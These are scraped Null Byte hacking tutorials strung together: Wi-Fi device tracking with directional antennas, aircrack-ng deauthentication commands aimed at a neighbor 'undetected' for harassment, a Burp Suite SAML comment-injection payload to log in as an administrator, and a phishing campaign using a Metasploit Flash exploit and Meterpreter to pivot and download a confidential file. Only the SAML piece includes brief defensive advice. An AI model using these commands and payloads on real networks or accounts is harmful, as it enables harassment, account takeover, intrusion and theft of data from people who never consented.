##:##:##:##:##:## -83 5 3 0 0 1 65 WPA2 CCMP PSK LG Aristo 6082 BSSID STATION PWR Rate Lost Frames ProbeLeave this running in the terminal window. From here, we'll openWiresharkto begin graphing the data.Step 2: Open Wireshark & Select TargetOnce Wireshark is open, select your network adapter as the source and click on the shark fin icon to start the capture. After the capture is started, you'll see a lot of packets from various networks in the area. Locate a broadcast packet from the network you want to track and click on it.Under the IEEE 802.11 Beacon Frame information, look for the transmitter address and right-click on it. From the menu, click on "Apply as Filter" and then "Selected" to create a display filter for only transmissions from that Wi-Fi device.Now, you should only see packets from the device you're tracking, and you should have a display filter like the one below in the Wireshark filter bar.wlan.ta == 3a:53:9c:b4:39:efThis is telling Wireshark to only display packets with a transmitter address matching that of the device you want to track. You can track any other device that is consistently broadcasting the same way, but you may have to target other data packets because smartphones don't give off beacon frames.Step 3: Monitor Signal Strength & Test Omnidirectional AntennaNow, plug in your omnidirectional antenna. After getting no signal at first, the signal jumps up when we screw on our omnidirectional antenna and stays there relatively no matter what angle the adapter is held.This steady signal is good enough for reception and is resistant to change as I move the adapter around and through the room. The only position it doesn't like is its tip facing directly towards the Wi-Fi source.Step 4: Test the Directional Panel AntennaNext, screw in your directional panel antenna. After a signal drop from removing the omnidirectional antenna, we start to see a pattern take shape. The directional antenna can get a consistently higher signal strength when it is pointed directly at the source of the broadcasts but gets worse signal strength when pointed away.We can use this directionality to achieve a higher signal strength when pointed at any fixed Wi-Fi target, but moving targets will cause a signal drop when they wander out of the main lobe of the panel.Step 5: Test the Parabolic Grid AntennaFinally, we attach the parabolic grid, and after a huge spike from unplugging the panel antenna, we start to get the highest signal strength we've been able to achieve so far. While sweeping the antenna back and forth, I can not only tell exactly where the source is, I can also get spikes of signal strength that greatly exceed anything I was able to get with the omnidirectional or panel antenna.In the graph below, the omnidirectional and panel antenna are on the left of the signal spike in the middle, and the parabolic grid is on the right. Once we zeroed the parabolic dish in, we got a much stronger and more sensitive signal.Towards the end of the capture, I picked up the Wi-Fi device we were tracking in another room and observed a jump in signal strength from the dish, meaning it's possible to even detect when someone is moving a device physically with a highly directional antenna.Directional Antennas Create Useful Radiation PatternsWhile directional network adapter can dramatically increase the signal of a network when aimed correctly, the advantage disappears or can shift as Wi-Fi signals bounce off walls and other obstacles. In an environment with many obstacles, you may find that the strongest signal a directional antenna can receive may be from an angle other than directly towards the source.It's also worth noting that a larger omnidirectional antenna doesn't always mean a stronger signal. If a Wi-Fi source is closeby, a larger antenna can extend the strongest part of the radiation pattern beyond where the target is located.I hope you enjoyed this guide to using specialized antennas for Wi-Fi hacking! If you have any questions about this tutorial on using directional and omnidirectional antennas, leave a comment below, and feel free to reach me on [email protected]'t Miss:Discover & Attack Raspberry Pis Using Default CredentialsWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Kody/Null ByteRelatedHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How To:Make a satellite dish Wi-Fi antenna for free internetBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017How To:Build a weatherproof compact high gain WiFi antennaHacking Gear:10 Essential Gadgets Every Hacker Should TryHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Automate Wi-Fi Hacking with Wifite2How To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow To:Share Any Password from Your iPhone to Other Apple DevicesHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow To:What All the Bluetooth & Wi-Fi Symbols Mean in iOS 11's New Control Center (Blue, Gray, or Crossed Out)How To:Fix the Wi-Fi Roaming Bug on Your Samsung Galaxy S3How To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Recover a Lost WiFi Password from Any DeviceHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow To:Check Wi-Fi Reliability & Speed at Hotels Before Booking a RoomNews:Art Meets Information Liberation with the Transparency Grenade
Evading AV Software « Null Byte :: WonderHowTo
No content found.
Hack Like a Pro: How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network —Undetected « Null Byte :: WonderHowTo
Welcome back, my hacker apprentices! Myrecent postshere inNull Bytehave been very technical in nature, so I thought that I'd have a little fun with this one.Have you ever had an annoying neighbor whose dog barks all night, who has loud parties that keep you awake, or who calls the cops when you have a loud party? Here's a simple way to get even with them without them ever knowing it.Image viawordpress.comNearly everyone these days has a Wi-Fi router set up in their home so they can access the Internet in any room or nook and cranny within their house. This hack is in the grey area of the law, probably not illegal, and nearly impossible to detect. What we're going to do is simply bump or disconnect our neighbor from their Wi-Fi connection whenever they connect, driving them crazy and leaving them without Web access (temporarily).We'll need the best Wi-Fi cracking software to do this hack—aircrack-ng—so let's fire up ourBackTrackand get to annoying that annoying neighbor.What we'll basically be doing is:Getting the BSSID of the neighbor's access point (that's the MAC of the access point),Getting your neighbor's MAC address when they connect to the Wi-Fi AP, and...Using that MAC address to de-authorize their connection. Actually, with aircrack-ng this is a really simple hack.Let's open aircrack-ng in BackTrack by going toBackTrack,Exploitation Tools,Wireless,WLAN Exploitation, and thenaircrack-ng.As you can see below, we have a terminal now open in aircrack-ng. Let's first take a look at our wireless card. In Linux, the first wireless card is designatedwlan0. We can do that by typing:iwconfig wlan0As you can see, Linux comes back with some basic info on the wireless card on our system. The first thing we want to do is put our wireless card in monitor mode. This allows us to see and capture all wireless traffic:airmon-ng start wlan0Notice that airmon has renamed your wireless device tomon0. This is critical, as your wireless card will now be referenced by this new name.Now that the wireless card is in monitor mode, we want to see all the wireless access points in range.airdump-ng mon0In the screenshot above, we now can see all the wireless access points in range with all their key information. Our annoying neighbor, is access point7871.Note that airodump gives us the BSSID of the access point, their power, channel, speed, etc. What we need here is the BSSID. In our case, it's0a:86:30:74:22:77. We can use that access point address in the next command. You must use the BSSID of your annoying neighbor's access point and the channel they are using.airodump-ng mon0 --bssid BSSIDaddress --channel 6This commands connects us to that annoying neighbor's access point. We need now for that annoying neighbor to connect to his access point to get the MAC address of his wireless card. We then need to spoof his MAC address.Once the neighbor connects, we can see and copy his MAC address. Now that we have the MAC address, we can send de-authorization packets into the access point and disconnect them.aireplay-ng --deauth 1 -a MACaddress mon0Now, when your annoying neighbor connects, you can disconnect them! Those of you with some scripting skills can write a simple script that would knock him off this Wi-Fi, say, every 30 seconds to be really annoying, or 30 minutes to be slightly annoying. If you only do this hack when he does something particularly annoying, he might begin to believe that the gods are punishing him for his bad behavior!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCable cutting photovia Shutterstock,Fist photoby SpiritualantRelatedHow To:Make Your Android Automatically Switch to the Strongest WiFi NetworkHow To:Enable Gaming Preferred Mode on Google Wifi or Nest Wifi for Smoother Stadia StreamingHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Wardrive on an Android Phone to Map Vulnerable NetworksHow To:Hack Wi-Fi Networks with BettercapHow To:Enable WPA3 on Your Google Wifi Network to Beef Up Wireless SecurityHow To:Check Real-Time Network Traffic on Google Wifi or Nest WifiHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsCalling All DJs:Spotify's 20 Million Song Catalog Is Now Yours to Mix WithHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow To:The Official Google+ Insider's Guide IndexNews:My Epic Sh*t Slide Wake UpNews:Nextdoor Brings Private Social Networks to a Neighborhood Near YouHow To:Create a Bump Key to Open Any DoorHow To:5 DIY Mosquito Repellent SecretsNews:My Pics from the Google+ Photowalk in Venice Beach
Facebook Hacks « Null Byte :: WonderHowTo
No content found.
How to Hack SAML Single Sign-on with Burp Suite « Null Byte :: WonderHowTo
Single sign-on (SSO) lets users login across different sites without having to manage multiple accounts. I'm sure most of us appreciate the convenience of seeing "Sign in with …" buttons that let us login with a single username. Hackers, however, see a possible avenue for exploitation, and you'll soon learn how an attacker can exploit a SAML vulnerability to assume another user's identity.SAML, or Security Assertion Markup Language, is a common standard that lets anidentity provider(IdP) communicate securely with aservice provider(SP) and pass on a user's authorization. This XML-based communication usually happens through the user's browser, which allows attackers to intercept and modify it. Let's walk through the flow of a SAML exchange.The Basics of SAMLFirst, a user attempts to access a secured page on the SP server and is redirected to the IdP login page with a SAML request:<samlp:AuthnRequest AssertionConsumerServiceURL="https://megauniversity.edu/Shibboleth.sso/SAML2/POST" Destination="https://sso.megauniversity.edu/idp/endpoint/HttpRedirect" ID="_c2a8cff29965b4a61bcff7d4b871b8a2" IssueInstant="2018-04-19T19:58:22Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> https://megauniversity.edu/shibboleth </saml:Issuer> <samlp:NameIDPolicy AllowCreate="1"/> </samlp:AuthnRequest>This request forwards info about the service provider to the identity provider and initiates the login process.The user then logs in via a form on the identity provider's site. The IdP generates a SAML response with authentication information and forwards it via the user's browser to theassertion consumer serviceURL (an address given by the SP) provided in the first SAML request. Here's a simplified version of what that response looks like:<samlp:Response Destination="https://megauniversity.edu/Shibboleth.sso/SAML2/POST" ID="_760ac3d612ea7cdfbb3dd59f6ebc16b91524600051040" InResponseTo="_c2a8cff29965b4a61bcff7d4b871b8a2" IssueInstant="2018-04-19T20:00:51.040Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="_760ac3d612ea7cdfbb3dd59f6ebc16b91524600051040" Version="2.0" IssueInstant="2018-04-19T20:00:51.040Z"> <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> https://sso.megauniversity.edu </saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">[email protected]</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData InResponseTo="_c2a8cff29965b4a61bcff7d4b871b8a2" NotOnOrAfter="2018-04-19T20:05:51.040Z" Recipient="https://megauniversity.edu/Shibboleth.sso/SAML2/POST"/> </saml:SubjectConfirmation> </saml:Subject> <saml:AttributeStatement> <saml:Attribute Name="userId" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType"> 005f4000001qmg6 </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType"> [email protected] </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response>The<saml:NameID/>node (isolated on its own line above) is the pertinent part of this response. The NameID is the user identifying information sent by the IdP. A SAML response will also contain user attributes, such as email and user ID. Signature and key info is also given for the service provider to verify origin and validity.The user is then redirected to the assertion consumer service URL given in the initial request, and the response is forwarded to that URL via the user's browser. When the service provider validates the response, the user is authorized.Fun with XML CanonicalizationAttentive hackers will note that the SAML response sent to the SP is cryptographically signed, meaning the SP would know if a response had been modified and reject it. However, XML documents ignore two things: whitespace and comments. Developers may insert comments into SAML requests and responses for debugging purposes, but these need to be removed via a technique referred to as XML canonicalization. In short, the systems that encode and send these messages strip non-pertinent information out before cryptographically signing or verifying, meaning that the following two elements would have the same signature.<saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">[email protected]</saml:NameID><saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">admin<!-- an inline comment -->@megauniversity.edu</saml:NameID>Things get interesting when we look at a bug in the open-source XMLTooling-C package that a large number of SSO systems depend on. Prior to a recent update, the XMLTooling-C library has a vulnerability in how it processes comments and whitespace appearing in XML data. An in-line comment will split text appearing on either side of it within an element — without changing the cryptographic signature. From a document tree perspective, the example above would look like this:-SAML Element: NameID--text: admin--comment: an inline comment--text: @megauniversity.eduLazy sysadmins will not necessarily anticipate more than one text node for a NameID attribute — they may assume that the first text node in the document is the value they're looking for. Meaning, a document tree that looks like this:-SAML Element: NameID--text: [email protected]: let's trick XMLTooling-C--text: .fakedomain.comWould have the same signature as the original response that was sent with a single text node. With this response being correctly signed and validated, the naively implemented SP would only look for the first node and would then authorize a session for the provided NameID. Let's dive into a scenario where a hacker could take advantage of this bug!The Hacking ScenarioYou're a student at Home State MegaUniversity, a revered institution of higher learning. Early in the semester, you made a noob mistake: you left your laptop open in your dorm room while you were down the hall playing Mario Kart.Your roommate, being a prankster and opportunist, opened your browser and navigated to the student portal to register you for a new course: "Intro to Accordion," meeting at 6:30 a.m. on Mondays, Wednesdays, and Fridays. By the time you realize this, the drop deadline for courses has passed.Youcouldgive up on sleeping in and develop a new interest in polka music, but you instead decide to take advantage of the skills you've been learning in your information security program. Fortunately for you, the sysadmin of Home State MegaUniversity is extremely lazy. She's missed a few key security items that work to your advantage:Users can arbitrarily create new accounts with unverified email addresses.Two-factor authentication isn't enforced. Users can arbitrarily create new accounts with unverified email addresses.An unpatched version of the Shibboleth SP package (a popular open-source solution for single sign-on) is being used to authenticate users in university subsystems.You've taken advantage of the first issue by creating an account that you'll use to execute this attack: [email protected]. To take advantage of the rest, you fire up a Kali Linux live session.Step 1: Configure Firefox to Work with Burp SuiteOne of the many useful tools in Kali Linux is Portswigger's Burp Suite, a proxy debugging tool that allows you to intercept and view HTTP traffic going through your browser. First, you'll need to set up your browser to work with Burp.If you're using Firefox, start by navigating to Preferences –> Advanced –> Network, then open the "Settings" panel underConnections. Make sure your proxy configuration looks like the following, with a manual proxy configuration of 127.0.0.1 with thePortbeing 8080.Don't Miss:How to Attack Web Applications with Burp Suite & SQL InjectionNext, start Burp Suite with a new temporary project and make sure the proxy is active by navigating to the "Proxy" tab, then "Options." You should see a proxy listener set up on 127.0.0.1 using port 8080:Finally, visithttp://burpin your browser, where you can download a certificate that allows you to sniff SSL traffic. Navigate in Firefox preferences to Advanced –> Certificates –> View Certificate, and "Import" the Portswigger CA certificate. Make sure you've selected to "Trust this CA to identify websites," then hit "OK."Step 2: Install SAML RaiderNow we need to install an extension that lets us view and modify SAML requests and responses.SAML Raideris my personal favorite. Navigate in Burp to the "Extender" tab, then "BApp Store." Once there, select and install "SAML Raider" from the list.Step 3: Access Secure LoginNow that we've set up our tools, make sure that the "Proxy" tab in Burp shows that "Intercept is on." This allows Burp to capture and modify requests being made to servers.When you point your browser to Home State MegaUniversity's secured registrar page, you'll see in Burp that you're forwarded to the IdP system. SAML Raider will show a tab of the same name when there's SAML information that can be decoded. You may have to forward a few other requests before you see the "SAML Raider" tab appear with a request.Hit the "Forward" button to pass that request on, and you'll be redirected to the IdP login page.Step 4: Login & Intercept ResponseWhen you enter your credentials for [email protected], Burp will again intercept a few web requests. Until you see one that populates a "SAML Raider" tab, you'll just hit "Forward" to pass them on unchanged. Eventually, you'll intercept the SAML response from the IdP.SAML requests and responses give timeframes that the communication must happen within, so it's important to work quickly from this point.Step 5: Find & Modify NameID ElementLook through the response and locate the "NameID" element, which should be below the key and signature information. This is what the line looks like in my example:<saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">[email protected]</saml:NameID>Now, all we have to do is insert a comment in the right place, then forward the response.<saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">[email protected]<!-- letmein -->.fakedomain.com</saml:NameID>Since the signature still matches the original response, the service provider accepts this as valid and parses the first text object in the NameID element: [email protected] elevated privileges on the registrar page, you're free to drop "Intro to Accordion" and maybe even sign up your roommate for "Underwater Basket Weaving" while you're in.Preventing This Type of HackA more diligent sysadmin at Home State MegaUniversity could take a few steps to make sure that this kind of attack isn't possible. Updating Shibboleth and other SSO packages to the latest versions fixes the XML canonicalization and parsing bugs that this attack depends on. Forcing two-factor authentication would also prevent users from authorizing themselves as other accounts. Finally, the creation of accounts with unverified email addresses is always a bad idea.Until next time, happy hacking!Don't Miss:How to Use Burp Suite to Hack Web Form AuthenticationFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byTBIT/Pixabay(modified); Screenshots by Macro Mosaic/Null ByteRelatedHack Like a Pro:How to Hack Web Apps, Part 4 (Hacking Form Authentication with Burp Suite)How To:Use Burp & FoxyProxy to Easily Switch Between Proxy SettingsHow To:Generate a Clickjacking Attack with Burp Suite to Steal User ClicksHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionHack Like a Pro:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteHack Like a Pro:How to Hack Web Apps, Part 3 (Web-Based Authentication)How To:Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrikeHow To:Bypass File Upload Restrictions Using Burp SuiteHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Correctly burp a babyHow To:Break into Router Gateways with PatatorHow To:Attack Web Applications with Burp Suite & SQL InjectionHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Burp a baby properlyHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHow To:Properly Submit Tools for the Null Byte SuiteHow To:Remove Any Status Bar Icon on Your Galaxy S10 — No Root NeededHow To:Burp like a proHow To:BurpHow To:Make a one piece block mold out of urethane rubberHow To:Belch or burp innovativelyHow To:Burp a babyNews:New Apple Update Brings Collaboration Features to Pages, Keynote & Numbers AppsHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)News:"Desktop, PC, Online Experience, ALL Enhanced Ten-Fold..."News:Create a video for legendary rock band Senser, and win Magic Bullet Looks!News:Backtrack 5 Security EssentialsReflection Challenge:Puddle reflectionThe Film Lab:Chroma Keying in Final Cut ProNews:Cape town accommodation newlandsNews:CELTX - Free media pre-production toolsNews:nonjatta - japanese whiskyFreedom watch:Not a single Democrat voted for ending raids on raw milk
Hack Like a Pro: How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents) « Null Byte :: WonderHowTo
Welcome back, my tenderfoot hackers!A short while ago, I started a new series called "How to Spy on Anyone." The idea behind this series is that computer hacking is increasingly being used in espionage and cyber warfare, as well as by private detectives and law enforcement to solve cases. I am trying to demonstrate, in this series, ways that hacking is being used in these professions. For those of you who are training for those careers, I dedicate this series.In some cases, when we are charged with spying on a suspect, we want to be able to go into their computer, look around, and download files or other documents that might be confidential, useful to a nation or cause, or might be used in a prosecution. In the world of cyber warfare, these might be strategic plans, communiqués, weapon assessments, etc.In this tutorial, we will hack into our enemy's computers and look for secret documents that might indicate their future war plans that may compromise the sovereign integrity of our nation. We think that our adversary is secretly sneaking soldiers and intelligence agents into our country and claiming that they are freedom fighters. (Sound familiar?)Our task is to hack into their military leaders computers and find evidence that these freedom fighters are actually soldiers and agents of our adversarial, but very powerful neighbor. Not only must we find the information, but we must download a copy so that we we can show our leaders, and maybe the world, the evidence of their malevolent intentions and actions.Our strategy will be to attempt to compromise someone's computer at headquarters—anyone's. Once we have compromised their computer, we can thenpivotfrom there to any computer on the network and then search for confidential files and, if we find any, transfer them back to our computer.Let's get started on this critical and dangerous task to our nation's survival!Step 1: Set Our Exploit StrategyAs we saw earlier,Adobe Flash Playeris among the most vulnerable applications on nearly everyone's computer. If you using a browser, you probably have Adobe's Flash Player on your computer. This makes it averyattractive target.Inan earlier tutorial, I showed how we can exploit Adobe Flash Player on nearly every computer with Internet Explorer 6-11 with Flash 11-13 on Windows XP SP3, Windows 7 SP1, and Windows 8. That's a pretty broad brush of targets. Perfect for this job!The only drawback is that we need to get someone to click on a malicious link. Although everyone is warned not to, people still do so every day when they receive an email from someone they think they know, or even if the email sounds compelling enough. Even you may have done so.Step 2: Harvest Email AddressesWe only need one person at the headquarters to click on our link to take down the entire network. As our first step, let's gather email addresses from headquarters using Maltego. To learn how to use Maltego to harvest email addresses,check out this tutorial.Step 3: Send the Email with the LinkNow, that we have the emails of employees at our enemy's headquarters, let's generate the malicious code inMetasploitand launch our server with the code. To learn how to use this exploit, check outthis tutorial.Now that our server is up with the malicious code, let's send emails with this link to all the employees we found with Maltego.Step 4: Now...WaitSometimes the best advice is simply to be patient. We sent out the emails to all the employees at headquarters and now we simply need to be patient and wait for someone to click on the link we sent.Step 5: Success!We waited nearly 48 hours, but finally—success! Someone clicked on our link and we have aMeterpretershell on their system!Step 6: Pivot Through the NetworkNow that we own one machine on the network, we can do anARP scanto find every other machine on the network. This will give us the IP address and MAC address of every machine on this network.meterpreter > run arp_scan -r 192.168.1.0/24Next, we can pivot so that we can access all the systems on the network. To learn how to pivot to the entire network, justcheck out this tutorial.Step 7: Look AroundSince we only found two systems on this network, let's look inside the machine we compromised first before going on to the others. We know the document we are looking for is likely named "war strategy." We can search the entire hard drive of the compromised system by using the search command built into the Meterpreter.meterpreter > search -f "war strategy.txt"Great ! We found it in the directory c:\confidential !Step 8: DownloadNow that we have the document we are looking for, let's download it from the target's computer to ours.meterpreter > download c:\\confidential\\"war strategy.txt"Finally, let's check to see whether the file arrived at our system. The Meterpreter will send the file to the last working directory where we invoked themsfconsole. In this case, it was/root. So, let's go back toour Kali system, open a terminal and navigate to/root, and see whether the "war strategy.txt" file has arrived.kali > cd /rootkali> ls -lThere it is! Success!We now have the file that lays out our enemy's war strategy and may be critical to saving our nation from invasion and subordination to our most hated neighbor and adversary!Keep coming back, my tenderfoot hackers, as we master the fine arts of hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Spy on Anyone, Part 1 (Hacking Computers)Hack Like a Pro:How to Spy on Anyone, Part 3 (Catching a Terrorist)News:The 5 Best Apps for Scanning Text & Documents on AndroidHow To:Force Switch to T-Mobile or Sprint on Project FiNews:Drama Amongst the Driverless—Did Waymo Unnecessarily Drag Uber into Its Lawsuit?News:Some of the World's Most Notorious Hackers Got HackedNews:Microsoft FCC Filing Hints That the Wait for HoloLens 2 Is Almost OverThe Hacks of Mr. Robot:How to Spy on Anyone's Smartphone ActivityNews:Magic Leap Takes Nreal to Court Over Trade Secrets TheftHow To:Enable commenting in Adobe Reader on Acrobat 9 ProNews:Uber Admits to Finding Stolen Waymo Document on Employee DeviceHow To:Use Gmail's New Confidential Mode to Send Private, Self-Destructing Emails from Your PhoneHow To:Collaborate on Pages Documents with Friends & ColleaguesNews:Whoops! Feds Accidentally Reveal Snowden as Their Email Spy TargetHow To:Turn Your iPhone into a Spy Camera Using Your Apple WatchNews:Hackers Can Remotely Set HP Printers on Fire: Is Yours Vulnerable?How To:Send documents for review by email in Acrobat 9 ProNews:What REALLY Happened with the Juniper Networks Hack?How To:Protect MS Word Document with PasswordHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHow To:Permanently Erase Data So That It Cannot be RecoveredHide Your Secrets:How to Password-Lock a Folder in Windows 7 with No Additional SoftwareHow To:Keep Your Computer Organized in Windows 7How To:Automatically Organize Your Torrents with Batch ScriptingNews:Army Admits Re-Education Camp Manual “Not Intended For Public Release”How To:Play Spy!News:Bump-TOP " The Ingenious 3D True DESK<<<TOP Experience "Hack Like a Pro:Creating Your Own Prism ProgramReel Moments:Make Time-Lapse Video on Your iPhone in Just a Few ClicksNews:CloudOn Is Back, Plus 4 More iPad Apps for Working with Microsoft Office DocsNews:Camino de Santiago FilmHow To:The Official Google+ Insider's Guide IndexNews:Indie Game Mashup! DTIPBIJAYS + LSQOM = Scorpion Psychiatrists of SaturnHow To:Safely Share Files OnlineApple's iCloud:What You Should KnowNull Byte:Never Let Us DieNews:3 Long Awaited Indie Games at PAX That Should Be Released Already!Camera Plus Pro:The iPhone Camera App That Does it All
8 Web Courses to Supplement Your Hacking Knowledge « Null Byte :: WonderHowTo
We're living in uncertain times. The sudden outbreak of thenovel coronavirusand subsequent self-isolation of roughly half the world's population has led to a massive reorganization of the economy, countless layoffs, compromised security networks, and a variety of other significant disruptions that will forever alter the landscape of our daily lives.Countless industries are struggling to stay afloat while governments develop and implement a response to the virus. But a small handful of other sectors have actually become stronger as a result of the outbreak, namely tech. It's being viewed as apotential saviorwhen it comes to building solutions that will help us work remotely, navigate new career opportunities, and adapt to a dramatically altered world in which person-to-person interaction is limited.As with any booming and expanding industry, however, there's always a downside. And right now, some are beginning totake advantageof expanded technology resources and streaming services to break into everything from daily Slack meetings to the networks of government agencies.It should come as no surprise then that companies in both the public and private sectors are now scrambling to hire talented and trained ethical hackers who can safeguard their networks and retaliate against emerging cyber threats.How to Meet the DemandChances are you've already spent some time building your skill set on Null Byte, and there are plenty of resources on our site that can help you meet this spike in demand. But if you could use some help bridging the gap between beginner and advanced knowledge or really just want to shore up your chances of getting your foot in the door, some supplemental training might be in order.To that end, the2020 Premium Ethical Hacking Certification Bundleis worth checking out. This eLearning collection comes packed with eight courses and over 60 hours of training that will expand your cybersecurity understanding to an advanced level.Regardless of whether the coronavirus pandemic has upended your career or you're lucky enough to still be employed at a traditional job, this bundle is for anyone who's looking to switch gears and become part of a movement that's helping countless companies and agencies stay safe in a hostile world. (It's also just a great supplemental education material to expand your Null Byte knowledge.)After an introductory course that walks you through the terminology and basic methodologies of the field, you'll begin learning how to safeguard complex networking infrastructures, implement firewalls that can guard against threats, infiltrate enemy servers and networks, retaliate against attacks, and more.Running through these expert-led courses is a solid way to bolster your cybersecurity understanding and complement what you've already learned on Null Byte.There's also extensive instruction that focuses exclusively on how to safeguard WordPress sites and platforms — an increasingly important and in-demand skill set now thatmore than 455 million web sitesrely on this dynamic platform.Earn Ethical Hacking CertificationsAnd as a bonus, this bundle features two courses that will help you ace the exams for the coveted CompTIA Pentest+ and CySA+ certifications.Doled out by The Computing Technology Industry Association (CompTIA), the CompTIA Pentest+ and CySA+ certifications are both vendor-neutral credentials employers regularly look for when evaluating a candidate's cybersecurity expertise. What's more, research shows that a CompTIA-certified employee will earn betweenfive to 15% more on averagethan someone who is uncertified with otherwise equal qualifications.In this way, the 2020 Premium Ethical Hacking Certification Bundle is just as much a learning supplement as it is a pathway to higher pay once you're in the field. 